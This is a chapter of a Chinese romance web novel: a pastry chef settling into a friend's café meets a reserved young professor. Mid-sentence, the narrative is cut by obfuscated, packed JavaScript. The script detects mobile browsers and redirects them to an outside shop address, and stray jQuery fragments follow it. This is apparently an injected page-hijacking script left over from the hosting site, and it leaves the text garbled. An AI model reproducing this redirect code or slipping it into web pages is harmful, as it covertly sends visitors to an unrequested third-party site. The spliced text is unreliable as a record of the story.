“媳妇儿,我送你下去吧,楼梯那么高,危险啊。”
“苏景熙!我是人,不是残废……”
眼看邱如沐即将爆缸,苏景熙抽身回来坐好,乖乖地朝妻子摆摆手,等门关上才小心擦擦汗。
蒋清南一口茶水差点儿喷出来。
抽出张纸巾沾沾嘴角,团好扔进垃圾桶,目光又落在干燥的纸团上。
苏景熙以为他嫌弃活动期间嘈杂的环境。
“你也太洁癖了。虽然我这儿人多,也不至于弄张纸巾边走边擦吧。”
对于刚过而立之年就评上副教授的蒋清南,苏景熙早就羡慕到习以为常。这人从小就是别人家的孩子,优秀到令人嫉妒乃至绝望的地步。
两人从小就认识,虽然蒋清南年长5岁,但私下调侃早就是家常便饭。
“一张破纸攥到现在。里面有情书啊。”
无论样貌才学还是家世背景,蒋清南都能吸引不少女孩儿。
这么多年连女朋友都没有,除了个已经出国留学的青梅,再没有女孩儿和他有过牵扯。
这样的人居然对一张纸记挂这么久。
“她用这东西勾引你了?”
蒋清南强压下一口清茶,憋不住笑,肩膀都跟着抖。
苏景熙更笃定心中想法。
“说吧,是谁?我辞了她。不开眼的,敢调戏我兄弟。”
虽然不经常来洛可,但以蒋清南过目不忘的记忆力,刚刚的女孩儿,绝对是第一次见。
“眼生得很。”
“行,一会儿下去认人。我让她当面给你道歉,再赶走。”
洛可观江店前厅后厨都算上,原本只有七八个人。
这一次沉浸式体验活动十分火爆。邱如沐有先见之明特意从其他店铺调派人手过来增援,想必是这些人里哪个见色起意,动了歪心思。
蒋清南对苏景熙的再次强调不置可否。
两人聊天品茶,等傍晚人少些就带着邱如沐一起吃饭,算是好友间的一次小聚,也算为到上江已经十几天的姜梨正式接风。
邱如沐这边下了楼梯,刚走到一半姜梨就冲过来扶住她。
“你怎么自己下来了,师兄呢。”
“他好朋友来了。兄弟俩聊的我没兴趣,就来看看你。”
姜梨偏过头去吐了下舌。看来那人真的上楼了。
不过她向来闯祸惯了,见招拆招吧。
她本来要把邱如沐安置在二楼空位上,却被对方摁在座位上起不来。
“陪陪我,别忙了。”邱如沐捏着姜梨的手腕儿说,“再忙你也忘不了他。”转头吩咐服务员端上两杯奶茶。
一提到罗序,姜梨就像辆熄了火的车子跑不起来,耷拉着脑袋坐回位置。
邱如沐眼神柔和地望着蔫儿下去的姜梨,忍不住把她鬓角卷翘的碎发掖回去。
大抵是因为她已经怀孕,进入人生另一个重大阶段。
虽然这胚芽还只有黄豆大小,但眼神里已经饱含了成熟女孩儿的沉稳与从容,说话的声音都比从前温柔,思维也一下子比姜梨这个失恋中的小女孩儿清晰。
“忘记一个人需要时间。可在这有限的时间里,你能做些什么?只是徒劳地瞎忙吗?我叫你来可不是干这个的。”
姜梨看看她,又垂下头,唇角被牙齿咬进一块。
“我知道,可一闲下来就很难过。满脑子都是他,我讨厌这样。他骗了我。”
威尼斯的行程罗序不能当面给出交代。而共享私人相册的做法更像被剥光般令她产生生理不适。
“可你总得给个解释机会吧。手机号码拉黑了,他就是想解释你也听不到呀。”
邱如沐拨弄着瓷杯并不打算马上喝,仿佛目前情况比这杯快凉的奶茶更急迫。
姜梨却无奈地耸耸肩。
“不能当面给出的答案都是欺骗。我要的是及时即刻,晚一秒都不行。”
邱如沐叹了声,“那你准备放弃他,开始新生活了?”
“新生活不是早就开始了嘛。老扯他干嘛。”
姜梨扯着暗红色腰果花纹理的桌布,像个被家长反复拷问的孩子,不耐烦地撇撇嘴,“我还没说你呢。师兄让我劝劝你,把孩子留下来。都已经领证了,就差个婚礼,别较真了。”
“现在和你师兄串通一气了。”
“他提了我总要说一嘴吧。具体还是你们自己商量,我不参与。”
姜梨不善染指她人生活,可邱如沐对这孩子还犹豫不定,苏景熙更紧张,于是派她充当临时说客。
不过显然,她目前的状况不适合教导别人。
自己的生活还一团糟呢。
就像墙壁上蜿蜒如藤蔓的雕刻,细微繁琐地纠缠在一起。
音乐悠扬地飘荡在大厅上空。
姜梨和邱如沐低声交谈着,楼下突然传来一声比古典乐更悠长的呼唤。
“姜姜姐,过来一下。”
姜梨扔下杯子,提着裙摆就往楼下走。
“系统又出问题了。”临时充当收银员的Joyce手指在屏幕上不耐烦地戳着,“点什么都不动。”
看她一脸着急的样子和收银台前排起的长队,姜梨不由得加快脚步。
Joyce闪到一边抱着胳膊,看姜梨在没有任何反应的屏幕前鼓捣着,叹息道,“累死我了,都站一大天了,早知道我也当实习生了,不用管钱,四处打打杂多好。”
“我看可以。明天就撤掉店长职务,给我干两年的实习生看看。”
Joyce脖子一缩,愣是没敢回头。
邱如沐瞄着那愣住的背影来到姜梨身边,直到Joyce低下头,才换上一副关切的面孔。
“怎么样姜姜?能解决吗?”
“没问题。系统卡死了。重新设置一下参数就好了。不过也该换了,后台数据太多,它承受不了了。”
屏幕上重新亮了起来,姜梨让Joyce用权限重新登录下试试,果然没问题了。
邱如沐望着低眉顺眼的Joyce,意味深长道,“确实。担不起重任的就要换。”
“老板娘,看你说的。我这不是信得过姜姜姐嘛。她一来,我省了不少事呢。这系统说换就能换,可店里事儿这么多,我不得一样样教她嘛。”
邱如沐上下打量着她,轻蔑而笃定地说,“姜姜不会做店长的。”说完就拉着姜梨上楼去了。
剩下Joyce原地咕哝着继续忙。
环形楼梯的台阶外宽内窄。
姜梨把外侧让给邱如沐,自己走里面。
两人互相扶着,邱如沐拍拍她的手背,轻声说,“她以前在这个店呆过。后来我看能力不错,就调到另一个分店做了店长。这次临时回来帮忙,反而让她想歪了。”
说话间两人已经走过台阶,回到原来位置。服务员已经把凉的奶茶撤掉,换了两杯温水。
邱如沐下意识地斜一眼收银台前的影子,良久才收回目光。
“她以为把你教会了就可以留在这里,让你去那边分店主管。做什么美梦呢!”
“这两边不一样吗?”
她到上江只有十几天,一直忙着体验店活动,分店还没时间看过,只知道紧挨着另一个繁华商业街。不过按照闺蜜的实力,分店的地段和环境不会比这里差。
邱如沐恨铁不成钢地白她一眼。
“跟店没关系好吧,是人。你师兄的好哥们常来这里,她喜欢人家,去了那边就看不到了。”
姜梨若有所思地“哦”了声,还是摸不到要领。
“喜欢人家就说呗,偷偷摸摸地跟我较什么劲。”
这下邱如沐彻底靠回椅背上,笑得肩膀直抖。
“说得轻松,你是从来没尝过追人的辛苦。人家也得能看上她才行啊。那是上江大学文物修复专业最年轻的副教授。”
见姜梨仍旧一脸无所谓的样子,邱如沐索性挑明。
“蒋家在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064301|187902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上江有背景的,但家教颇严。你师兄这好哥们儿到现在还孑然一身,这么多年也没有女朋友。”
她说完,朝姜梨使劲儿眨眨眼。
姜梨一愣,也眨眨眼。
邱如沐再眨眼。
姜梨头一歪,“你眼睛怎么了?”
“你,有没有想法。他条件不错的。”
姜梨想都没想就摇头。
“你们别管我了。我现在什么都不想。”
她的坦白邱如沐倒接受得快。
“行,既然什么都不想就把事业搞搞好。”说着邱如沐越过桌子,拉起姜梨的手,“跟我上楼把妆卸了,再看看你的工作室,缺什么好补上,别在这下面消耗时间。”
姜梨起身,望一眼人头攒动的大厅。
这拥挤的场景反衬得心里空落落的。
不知道梨予甜境的女孩儿们这几天忙不忙。教师节主题蛋糕方圆圆一定都设计好了,陈阳阳也会把订单按照计划排好,小助手们一定会和自己不在时一样,好好照顾梨予甜境,好好照顾那两只毛茸茸吧。
只有四十几平的梨予甜境,不过是洛可的十分之一。
可那份温暖却是这里不能相比的。
她们都只喊她“姐”,就像她们本就是姐妹;这样满是阳光的午后,大家会一起冲姜梨手作的蜂蜜柚子茶;凑在一起聊天打趣。姜梨最喜欢捧着热茶坐在桌子一边听着女孩儿们互相调侃,她甚至都不是话题中心,可心里和手里就都热乎乎的。
卸了妆的姜梨换回白色一字肩连衣裙,和邱如沐一起看了工作室。
整个三层,除了一间休息室和一间存储间外,全部打通。
烤箱、冷柜、储藏柜等设备一应俱全。
米色瓷砖、白墙和白色理石地面透着干净整洁。
屋子中间照旧有一个长方形桌子用来裱花打包。姜梨环视一圈满意地点点头。
“让你和师兄费心了。”
“说了多少遍了,你来就好。再谢我生气了。当初跟我一起走,哪儿那么多事。”
一提起往事,邱如沐就惋惜。
她挽上姜梨胳膊,一起往休息室走。
还没到门口时,两个影子逆着光相向而来。
一个是苏景熙,他和熟人一起时习惯了吊儿郎当,走路没个正行。另一人单手插在口袋,手随意摆在身侧,走路时腰部发力,肩平背挺,步态优雅,一看就受过良好的训练,特别注重仪态。
刚刚的不愉快闪过脑海,姜梨微微顿住步子,不想靠前。
可只几步就快看清脸了。
邱如沐拉了拉她胳膊,朝前面摆摆手,小声提醒道。
“这就是你师兄的朋友,蒋清南。”
话音刚落,两位男士已到近前。
姜梨装作不认识的样子朝对方点点头。
苏景熙胳膊肘碰了下蒋清南,下巴往外点点。
“这就是我常跟你说的,小师妹姜梨。熟悉后叫姜姜就行。”
两人只是互相点点头,连手都没握。那克制的样子仿佛一说话就会发生点儿什么。
姜梨垂眸盯着白色高跟鞋的鞋尖,感觉一道不光十分不友善地在头顶聚焦。
刚到上江,不愿起冲突,秉承着退一步海阔天空的原则,她只能朝一直说话的邱如沐笑笑,缓解尴尬。
而蒋清南似乎察觉到姜梨的不适,越发放肆地看她。
邱如沐也察觉到异样,只能在一边打哈哈,“你们要出去?到时间要吃饭了。”
“哦,下去认个人,刚才调戏他,必须开除。”
苏景熙说完故意眨眨眼。
这意思不言而喻。就是把不开眼的调离店铺就行。蒋清南洁癖到极致,面子上总要过得去。
这次夫妻俩配合默契,邱如沐了然地“哦”了声,“走吧走吧,一起下楼。”
姜梨刚转过身,就听身后男人悠然的声音响起。
“你不是说要开了她吗?”